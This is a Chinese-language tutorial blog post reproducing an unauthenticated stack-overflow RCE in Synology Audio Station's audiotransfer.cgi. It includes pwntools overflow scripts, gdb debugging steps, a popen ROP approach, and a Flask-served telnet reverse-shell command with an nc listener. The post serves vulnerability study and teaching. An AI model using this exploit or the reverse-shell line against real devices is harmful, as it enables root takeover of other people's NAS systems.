IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE

admin 2024年11月15日12:02:24评论49 views字数 4827阅读16分5秒阅读模式

1.背景

最近突然想学一下IOT的内容,找来找去也没什么特别有意思的复习内容,果断就选择该NAS漏洞复现学习一下,利用主要参考文章:https://pocs.app/2021/06/10/202106101731/#more。

2.环境

版本 内容
Nas版本 Synology DS3615xs
固件版本 DSM 5.2-5592
套件版本 Audio Station 5.4-2860
Gdb版本 7.11.1
指令架构 x86

3.漏洞详情

Audio Station 套件的漏洞成因为 audiotransfer.cgi 存在缓冲区溢出,远程攻击者可构造特殊数据包,然后利用该漏洞以 root 权限在目标设备执行任意命令。
在环境搭建好以后,可以在Nas系统的/volume1/@appstore/AudioStation/app/webUI路径下可以看到漏洞程序audiotransfer.cgi当然也可以在请求的路径:
/usr/syno/synoman/webman/3rdparty/AudioStation/webUI/中看到audiotransfer.cgi
其中主要的漏洞点在于main函数中的sub_804B280函数中的MediaIDDecryption函数
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE

进入到sub_804B280函数可以看到,在获取到了请求的URI和User_Agent以后,将对URI的内容进行判断,如果内容不为空,则会对请求的URI的部分进行校验

IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这里会发现调用strrchr函数对URI以‘/’字符的位置进行分割,然后将最后一个‘/’的位置给到s2,例如:
请求:/webman/index.cgi/aaaabbb 红色部分就是s2+1。
校验完毕后会进入到MediaIDDecryption函数对请求的内容进行处理
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
MediaIDDecryption函数是库函数,在该固件中是不存在的,所以需要进入到库libaudioui.so才能看到具体细节。漏洞点主要存在于snprintf函数并未对输入的内容的长度做限制,所以会存在溢出。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
最后漏洞的触发点请求:/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/payload

4.开始复现

首先先用checksec命令检查一下保护情况,除了NX开启以外,并未开启其他任何保护,所以可以直接利用。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
栈溢出的如何利用这里就不再提了,先找偏移。根据文章中的内容,可以通过构造溢出请求,然后利用dmesg命令来查看报错信息,测试多少偏移的时候可以覆盖EIP,最后确定溢出偏移。
dmesg |tail -n 10
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE

dmesg结果

当然这里方法不唯一,也可以通过gdbattachhttpd程序上,然后调试去找也行,最精准,后面会用。
这里就采用第一种,前期选择简单一点比较对初学者友好(主要还是懒~^.^),但是需要多次尝试。这里先写一个脚本:
test.py
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = remote("10.0.9.210",5000)
addr = "10.0.9.210:5000" #目标地址
payload = '/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/'
payload += cyclic(300)
# payload += p32(0xdeedbeef)

user_agent = 'sierting666'
text = """GET {payload1} HTTP/1.1
Host: {addr}
User-Agent: {payload2}
"
"".format(addr=addr,payload1=payload,payload2=user_agent)
p.sendline(text)

这里通过cyclic来生成对应偏移,后发送后在nas系统dmesg命令看看报错信息,接着利用cyclic_find()确定偏移,这个需要多次尝试,直到cyclic_find函数找不到偏移的时候,再在末尾加入0xdeedbeef的内容来确定偏移是否控制eip

如第一次,发送过去发现覆盖到了eip的是61617463.

IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
dmesg结果
这里利用cyclic_find函数确定一下偏移以后,再在末尾加入0xdeedbeef,来确定是否覆盖成功。修改test.py如下:
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = remote("10.0.9.210",5000)
addr = "10.0.9.210:5000" #目标地址
payload = '/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/'
payload += cyclic(cyclic_find(0x61617463))
payload += p32(0xdeedbeef)

user_agent = 'sierting666'
text = """GET {payload1} HTTP/1.1
Host: {addr}
User-Agent: {payload2}
"
"".format(addr=addr,payload1=payload,payload2=user_agent)
p.sendline(text)
发送过去后再次确定,发现并未成功覆盖,变成了61617463,再次尝试以上过程。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
dmesg结果
直到遇到如下内容,输入到cyclic_find函数中后,获取不到偏移了,那么就说明找到了,但是还不是很精准,需要增删几个字符来测试。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
dmesg结果 
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCEcyclic_find函数报错
这里利用上一次的cyclic_find结果得到的偏移以后,再左右微调一下发现刚好可以将0xdeedbeef覆盖到eip
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这里后续如果对payload做调整后,覆盖不到eip时,也可以继续根据此方法做调整。
因为开了NX的缘故,只能构造ROP_Chan来实现后续利用,根据文章所述的ROP的利用链是popen函数,这里看一下popen函数的使用方法(chatgpt生成):
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
需要两个参数,第一个是要执行的命令,第二个是文件流模式,可以使'r'也可以是'w'。第一个参数需要一个可控的地址才能实现,而第二个参数则直接利用ELF对象的search函数在程序内部进行搜索,找到'rx00'或者'wx00'字符的地址即可实现。
elf = ELF("./audiotransfer.cgi")
argv2 = elf.search("rx00").next()
第二个参数搞定以后,这里就需要先对该固件进行调试一下,然后确定是否刚好能将eip覆盖到popen这个地址,然后在内存中去寻找可控的地址
这里将采用前面说的,直接attachhttpd程序方式来实现对audiotransfer.cgi程序的触发,可以更好地能看到我们的payload到底干了什么。
先利用ps w命令找到触发audiotransfer.cgi程序的httpd程序的进程,然后再利用gdbserver进行attach
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这里肯定有一个疑惑的点,就是我是怎么知道这个触发audiotransfer.cgihttpd程序是这个,这个其实很简单,甚至参考文章中其实后面也有写,就是先写一个延迟程序:
#include<stdio.h>
#include<stdlib.h>

int main() {
    printf("%s", getenv("REQUEST_URI"));
    printf("%s", getenv("HTTP_USER_AGENT"));
    sleep(1000000);
}
编译
gcc -m32 1.c -o 1
然后替换audiotransfer.cgi这个文件(记得备份一下原始的audiotransfer.cgi):
mv audiotransfer.cgi audiotransfer.cgi_bak
mv 1 audiotransfer.cgi
chmod 755 audiotransfer.cgi
接着发送一个触发请求,让audiotransfer.cgi的进程保持执行状态
ps w |grep audiotransfer.cgi
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
最后看/proc/$pid/stat即可知道。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
找到了父函数以后,把这个替换后的文件改过来,然后直接利用gdbserver进行attach即可。
mv audiotransfer.cgi_bak audiotransfer.cgi
gdbserver :23456 --attach 20449
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
接在,在gdb这端对靶机进行连接
target remote ip:23456
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
因为我们要调试通过httpd去调用audiotransfer.cgi所以需要设置一下gdb的追踪模式,输入命令:
set follow-fork-mode childset detach-on-fork off即可完成。
接着输入catch exec,然后输入c继续执行,等待请求
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这里直接将test.py的0xdeedbeef的内容改成popen函数的plt,然后发送即可。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
发送完毕后,gdb接收到了请求,将进入到audiotransfer.cgi程序中
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
进入到audiotransfer.cgi中以后,通过info func找到popen函数的plt地址以后
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
将断点设置为popen函数的plt地址
b *0x8049730
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
接着输入c,直接继续执行,直到断到popen函数这里就说明我们的栈溢出利用的第一步已经完成
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这时候就要解决参数的问题了,通过stack命令查看栈中的内容发现,发现在该地址中保存着我们User_Agent的内容,说明该地址可以通过User_Agent的内容进行操纵,所以参数1设置为该地址即可实现任意命令执行。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
以上,popen函数的参数1和参数2的问题就都解决了。
这里直接构造ROP,来实现一下命令执行:
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这里的命令执行的方法主要参考文章中的内容,首先需要起一个web服务,端口这里设置的是5678
web.py:
# coding: utf-8
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return "rm -rf /tmp/x;mknod /tmp/x p;telnet 反弹ip 反弹port 0</tmp/x |/bin/sh 1>/tmp/x &"

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5678)
最后需要设置一个接收shell的地址,可以按照文章中一样,直接用命令起一个即可:
nc -lvp 6666
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
做完了这些就可以打了,但是这里发现修改了payload以后,EIP的地址发生了变化,说明填充数据出了问题,所以这里可以根据前面的方法再继续找,或者是直接在这里进行计算。
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
这里计算偏移的方法采用第二种方法,可以根据寄存器的值和内存的位置来计算,目的是将0x08049730这个数据放到EIP的位置,如果不确定自己添加的偏移量是否达标,可以反复调试来确认,一次加2个字节的测试就行。
这里就不反复调试了,最终往填充字符串种加12个字符即可实现目标。
修改payload如下:
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
再次发送后,调试到popen函数plt,可以看到参数已经全部放到位
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
最后直接就输入c继续执行,即可实现命令的执行
IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE

原文始发于微信公众号(弱口令安全实验室):IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月15日12:02:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCEhttps://cn-sec.com/archives/3397267.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息